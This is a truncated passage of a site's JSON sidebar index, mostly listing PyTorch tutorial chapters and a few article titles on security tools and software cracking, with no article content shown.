\u635f\u5931\u51fd\u6570","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","label":"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","label":"3.8 \u53ef\u89c6\u5316.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","label":"3.9 \u4f18\u5316\u5668.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/"},{"type":"category","label":"\u7b2c\u56db\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet","label":"4.1 ResNet.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet","label":"4.2 GoogleNet.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet","label":"4.3 DenseNet.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b","label":"4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/"},{"type":"category","label":"\u7b2c\u4e94\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","label":"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","label":"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","label":"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","label":"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/"},{"type":"category","label":"\u7b2c\u516d\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","label":"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","label":"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","label":"6.3 \u6a21\u578b\u5fae\u8c03-timm.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","label":"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","label":"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","label":"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","label":"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/"},{"type":"category","label":"\u7b2c\u4e03\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","label":"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","label":"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","label":"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","label":"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","label":"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/"},{"type":"category","label":"\u7b2c\u516b\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","label":"8.1 \u672c\u7ae0\u7b80\u4ecb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","label":"8.2 \u56fe\u50cf - torchvision.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","label":"8.3 \u89c6\u9891 - PyTorchVideo.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","label":"8.4 \u6587\u672c - torchtext.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","label":"8.5 \u97f3\u9891 - torchaudio.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/"},{"type":"category","label":"\u7b2c\u4e5d\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","label":"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/"},{"type":"category","label":"\u7b2c\u5341\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","label":"10.1 \u56fe\u50cf\u5206\u7c7b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b","label":"10.2 \u76ee\u6807\u68c0\u6d4b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","label":"10.3 \u56fe\u50cf\u5206\u5272.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","label":"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","label":"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","label":"ResNet\u6e90\u7801\u89e3\u8bfb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","label":"Swin-Transformer\u89e3\u8bfb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","label":"Transformer \u89e3\u8bfb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","label":"ViT\u89e3\u8bfb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","unlisted":false},{"type":"category","label":"YOLO\u7cfb\u5217\u89e3\u8bfb","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"MMYOLO\u5b9e\u73b0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","label":"model_design.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","label":"rtmdet_description.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","label":"yolov5_description.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/"},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/","label":"torch\u5b9e\u73b0","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/README","unlisted":false}]}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/"}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/"}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/"},{"type":"category","label":"\u516c\u4f17\u53f7\u6587\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","label":"Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539","label":"Supershell\u4e8c\u5f00\u4fee\u6539\uff01\u81ea\u5b9a\u4e49\u8def\u7531+\u9632\u6eaf\u6e90","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","label":"\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","label":"IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","label":"Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","unlisted":false},{"type":"link","href":"/en/docs/personal/articles/free-chatgpt-go-one-year","label":"\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a","label":"\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6 Atlantic \u4e00\u5e74 | \u7f8e\u56fd| \u52a0\u62ff\u5927|\u82f1\u56fd|VPS\u4e91\u4e3b\u673a","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a","unlisted":false}]},{"type":"category","label":"\u9006\u5411\u7834\u89e3","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","label":"TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","unlisted":false}]}]},{"type":"link","href":"/en/docs/\u66f4\u65b0\u65e5\u5fd7","label":"\u66f4\u65b0\u65e5\u5fd7","docId":"\u66f4\u65b0\u65e5\u5fd7","unlisted":false}]},"docs":{"intro":{"id":"intro","title":"intro","description":"\u4e0d\u77e5\u53e4\u9053\u7684\u98ce\uff0c\u53ef\u4ed6\u5439\u5f80\u7684\u662f\u6545\u91cc","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/README","title":"PyTorch","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","title":"1.1 PyTorch\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","title":"1.2 PyTorch\u7684\u5b89\u88c5.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 